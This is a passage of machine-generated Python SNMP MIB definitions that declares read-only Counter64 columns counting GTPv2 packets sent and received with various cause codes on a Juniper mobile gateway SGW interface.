jnxMbgSgwIfGtpV2ICsMisUnknAPNRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsMisUnknAPNRx.setDescription('Number of GTPV2 packets received with cause Unknown APN.') jnxMbgSgwIfGtpV2ICsMisUnknAPNTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 126), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsMisUnknAPNTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsMisUnknAPNTx.setDescription('Number of GTP packets sent with cause Unknown APN.') jnxMbgSgwIfGtpV2ICsUnexpRptIERx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 127), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsUnexpRptIERx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsUnexpRptIERx.setDescription('Number of GTPV2 packets received with cause Unexpected Repeated IE.') jnxMbgSgwIfGtpV2ICsUnexpRptIETx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 128), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsUnexpRptIETx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsUnexpRptIETx.setDescription('Number of GTP packets sent with cause Unexpected Repeated IE.') jnxMbgSgwIfGtpV2ICsGREKeyNtFdRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 129), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsGREKeyNtFdRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsGREKeyNtFdRx.setDescription('Number of GTPV2 packets received with cause GRE Key Not Found.') jnxMbgSgwIfGtpV2ICsGREKeyNtFdTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 130), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsGREKeyNtFdTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsGREKeyNtFdTx.setDescription('Number of GTP packets sent with cause GRE Key Not Found.') jnxMbgSgwIfGtpV2ICsRelocFailRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 131), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsRelocFailRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsRelocFailRx.setDescription('Number of GTPV2 packets received with cause Relocation Failed.') jnxMbgSgwIfGtpV2ICsRelocFailTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 132), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsRelocFailTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsRelocFailTx.setDescription('Number of GTP packets sent with cause Relocation Failed.') jnxMbgSgwIfGtpV2ICsDenINRatRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 133), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsDenINRatRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsDenINRatRx.setDescription('Number of GTPV2 packets received with cause Denied in RAT.') jnxMbgSgwIfGtpV2ICsDenINRatTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 134), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsDenINRatTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsDenINRatTx.setDescription('Number of GTP packets sent with cause Denied in RAT.') jnxMbgSgwIfGtpV2ICsPTNotSuppRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 135), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsPTNotSuppRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsPTNotSuppRx.setDescription('Number of GTPV2 packets received with cause PDN Type Not Supported.') jnxMbgSgwIfGtpV2ICsPTNotSuppTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 136), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsPTNotSuppTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsPTNotSuppTx.setDescription('Number of GTP packets sent with cause PDN Type Not Supported.') jnxMbgSgwIfGtpV2ICsAlDynAdOccRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 137), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsAlDynAdOccRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsAlDynAdOccRx.setDescription('Number of GTPV2 packets received with cause Allocated Dynamic Address Occupied.') jnxMbgSgwIfGtpV2ICsAlDynAdOccTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 138), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsAlDynAdOccTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsAlDynAdOccTx.setDescription('Number of GTP packets sent with cause Allocated Dynamic Address Occupied.') jnxMbgSgwIfGtpV2ICsNOTFTUECTXRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 139), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsNOTFTUECTXRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsNOTFTUECTXRx.setDescription('Number of GTPV2 packets received with cause UE Context Without TFT Exists.') jnxMbgSgwIfGtpV2ICsNOTFTUECTXTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 140), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsNOTFTUECTXTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsNOTFTUECTXTx.setDescription('Number of GTP packets sent with cause UE Context Without TFT Exists.') jnxMbgSgwIfGtpV2ICsProtoNtSupRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 141), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsProtoNtSupRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsProtoNtSupRx.setDescription('Number of GTPV2 packets received with cause Protocol Not Supported.') jnxMbgSgwIfGtpV2ICsProtoNtSupTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 142), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsProtoNtSupTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsProtoNtSupTx.setDescription('Number of GTP packets sent with cause Protocol Not Supported.') jnxMbgSgwIfGtpV2ICsUENotRespRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 143), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsUENotRespRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsUENotRespRx.setDescription('Number of GTPV2 packets received with cause UE Not Responding.') jnxMbgSgwIfGtpV2ICsUENotRespTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 144), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsUENotRespTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsUENotRespTx.setDescription('Number of GTP packets sent with cause UE Not Responding.') jnxMbgSgwIfGtpV2ICsUERefusesRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 145), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsUERefusesRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsUERefusesRx.setDescription('Number of GTPV2 packets received with cause UE Refuses.') jnxMbgSgwIfGtpV2ICsUERefusesTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 146), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsUERefusesTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsUERefusesTx.setDescription('Number of GTP packets sent with cause UE Refuses.') jnxMbgSgwIfGtpV2ICsServDeniedRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 147), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsServDeniedRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsServDeniedRx.setDescription('Number of GTPV2 packets received with cause Service Denied.') jnxMbgSgwIfGtpV2ICsServDeniedTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 148), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsServDeniedTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsServDeniedTx.setDescription('Number of GTP packets sent with cause Service Denied.') jnxMbgSgwIfGtpV2ICsUnabPageUERx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 149), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsUnabPageUERx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsUnabPageUERx.setDescription('Number of GTPV2 packets received with cause Unable to Page UE.') jnxMbgSgwIfGtpV2ICsUnabPageUETx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 150), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsUnabPageUETx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsUnabPageUETx.setDescription('Number of GTP packets sent with cause Unable to Page UE.') jnxMbgSgwIfGtpV2ICsNoMemRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 151), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsNoMemRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsNoMemRx.setDescription('Number of GTPV2 packets received with cause No Memory.') jnxMbgSgwIfGtpV2ICsNoMemTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 152), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsNoMemTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsNoMemTx.setDescription('Number of GTP packets sent with cause No Memory.') jnxMbgSgwIfGtpV2ICsUserAUTHFlRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 153), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsUserAUTHFlRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsUserAUTHFlRx.setDescription('Number of GTPV2 packets received with cause User AUTH Failed.') jnxMbgSgwIfGtpV2ICsUserAUTHFlTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 154), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsUserAUTHFlTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsUserAUTHFlTx.setDescription('Number of GTP packets sent with cause User AUTH Failed.') jnxMbgSgwIfGtpV2ICsAPNAcsDenRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 155), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsAPNAcsDenRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsAPNAcsDenRx.setDescription('Number of GTPV2 packets received with cause APN Access Denied.') jnxMbgSgwIfGtpV2ICsAPNAcsDenTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 156), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsAPNAcsDenTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsAPNAcsDenTx.setDescription('Number of GTP packets sent with cause APN Access Denied.') jnxMbgSgwIfGtpV2ICsReqRejRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 157), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsReqRejRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsReqRejRx.setDescription('Number of GTPV2 packets received with cause Request Rejected.') jnxMbgSgwIfGtpV2ICsReqRejTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 158), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsReqRejTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsReqRejTx.setDescription('Number of GTP packets sent with cause Request Rejected.') jnxMbgSgwIfGtpV2ICsPTMSISigMMRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 159), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsPTMSISigMMRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsPTMSISigMMRx.setDescription('Number of GTPV2 packets received with cause P-TMSI Signature Mismatch.') jnxMbgSgwIfGtpV2ICsPTMSISigMMTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 160), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsPTMSISigMMTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsPTMSISigMMTx.setDescription('Number of GTP packets sent with cause P-TMSI Signature Mismatch') jnxMbgSgwIfGtpV2ICsIMSINotKnRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 161), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsIMSINotKnRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsIMSINotKnRx.setDescription('Number of GTPV2 packets received with cause IMSI Not Known.') jnxMbgSgwIfGtpV2ICsIMSINotKnTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 162), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsIMSINotKnTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsIMSINotKnTx.setDescription('Number of GTP packets sent with cause IMSI Not Known.') jnxMbgSgwIfGtpV2ICsCondIEMsRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 163), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsCondIEMsRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsCondIEMsRx.setDescription('Number of GTPV2 packets received with cause Conditional IE Missing.') jnxMbgSgwIfGtpV2ICsCondIEMsTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 164), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsCondIEMsTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsCondIEMsTx.setDescription('Number of GTP packets sent with cause Conditional IE Missing.') jnxMbgSgwIfGtpV2ICsAPNResTIncRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 165), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsAPNResTIncRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsAPNResTIncRx.setDescription('Number of GTPV2 packets received with cause APN Restriction Type Incompatible.') jnxMbgSgwIfGtpV2ICsAPNResTIncTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 166), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsAPNResTIncTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsAPNResTIncTx.setDescription('Number of GTP packets sent with cause APN Restriction Type Incompatible.') jnxMbgSgwIfGtpV2ICsUnknownRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 167), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsUnknownRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsUnknownRx.setDescription('Number of GTPV2 packets received with cause Unknown.') jnxMbgSgwIfGtpV2ICsUnknownTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 168), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsUnknownTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsUnknownTx.setDescription('Number of GTP packets sent with cause Unknown.') jnxMbgSgwIfGtpV2ICsLclDetRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 169), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsLclDetRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsLclDetRx.setDescription('Number of GTP packets received with cause Local Detach.') jnxMbgSgwIfGtpV2ICsLclDetTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 170), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsLclDetTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsLclDetTx.setDescription('Number of GTP packets sent with cause Local Detach.') jnxMbgSgwIfGtpV2ICsCmpDetRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 171), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsCmpDetRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsCmpDetRx.setDescription('Number of GTP packets received with cause Complete Detach.') jnxMbgSgwIfGtpV2ICsCmpDetTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 172), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsCmpDetTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsCmpDetTx.setDescription('Number of GTP packets sent with cause Complete Detach.') jnxMbgSgwIfGtpV2ICsRATChgRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 173), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsRATChgRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsRATChgRx.setDescription('Number of GTP packets received with cause RAT changed from 3GPP to non 3GPP.') jnxMbgSgwIfGtpV2ICsRATChgTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 174), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsRATChgTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsRATChgTx.setDescription('Number of GTP packets sent with cause RAT changed from 3GPP to non 3GPP.') jnxMbgSgwIfGtpV2ICsISRDeactRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 175), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsISRDeactRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsISRDeactRx.setDescription('Number of GTP packets received with cause ISR Deactivated.') jnxMbgSgwIfGtpV2ICsISRDeactTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 176), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsISRDeactTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsISRDeactTx.setDescription('Number of GTP packets sent with cause ISR Deactivated.') jnxMbgSgwIfGtpV2ICsEIFRNCEnRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 177), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsEIFRNCEnRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsEIFRNCEnRx.setDescription('Number of GTP packets received with cause Error Indication from RNC eNodeB.') jnxMbgSgwIfGtpV2ICsEIFRNCEnTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 178), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsEIFRNCEnTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsEIFRNCEnTx.setDescription('Number of GTP packets sent with cause Error Indication from RNC eNodeB.') jnxMbgSgwIfGtpV2ICsSemErTADRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 179), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsSemErTADRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsSemErTADRx.setDescription('Number of GTP packets received with cause Semantic Error in TAD Operation.') jnxMbgSgwIfGtpV2ICsSemErTADTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 180), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsSemErTADTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsSemErTADTx.setDescription('Number of GTP packets sent with cause Semantic Error in TAD Operation.') jnxMbgSgwIfGtpV2ICsSynErTADRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 181), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsSynErTADRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsSynErTADRx.setDescription('Number of GTP packets received with cause Syntactic Error in TAD Operation.') jnxMbgSgwIfGtpV2ICsSynErTADTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 182), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsSynErTADTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsSynErTADTx.setDescription('Number of GTP packets sent with cause Syntactic Error in TAD Operation.') jnxMbgSgwIfGtpV2ICsRMValRcvRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 183), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsRMValRcvRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsRMValRcvRx.setDescription('Number of GTP packets received with cause Reserved Message Value Received.') jnxMbgSgwIfGtpV2ICsRMValRcvTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 184), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsRMValRcvTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsRMValRcvTx.setDescription('Number of GTP packets sent with cause Reserved Message Value Received.') jnxMbgSgwIfGtpV2ICsRPrNtRspRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 185), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsRPrNtRspRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsRPrNtRspRx.setDescription('Number of GTP packets received with cause Remote peer not responding.') jnxMbgSgwIfGtpV2ICsRPrNtRspTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 186), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsRPrNtRspTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsRPrNtRspTx.setDescription('Number of GTP packets sent with cause Remote peer not responding.') jnxMbgSgwIfGtpV2ICsColNWReqRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 187), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsColNWReqRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsColNWReqRx.setDescription('Number of GTP packets received with cause Collision with network initiated request.') jnxMbgSgwIfGtpV2ICsColNWReqTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 188), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsColNWReqTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsColNWReqTx.setDescription('Number of GTP packets sent with cause Collision with network initiated request.') jnxMbgSgwIfGtpV2ICsUnPgUESusRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 189), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsUnPgUESusRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsUnPgUESusRx.setDescription('Number of GTP packets received with cause Unable to page UE due to suspension.') jnxMbgSgwIfGtpV2ICsUnPgUESusTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 190), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsUnPgUESusTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsUnPgUESusTx.setDescription('Number of GTP packets sent with cause Unable to page UE due to suspension.') jnxMbgSgwIfGtpV2ICsInvTotLenRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 191), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsInvTotLenRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsInvTotLenRx.setDescription('Number of GTP packets received with cause Invalid total len.') jnxMbgSgwIfGtpV2ICsInvTotLenTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 192), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsInvTotLenTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsInvTotLenTx.setDescription('Number of GTP packets sent with cause Invalid total len.') jnxMbgSgwIfGtpV2ICsDtForNtSupRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 4, 1, 193), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwIfGtpV2ICsDtForNtSupRx.setStatus('current') if 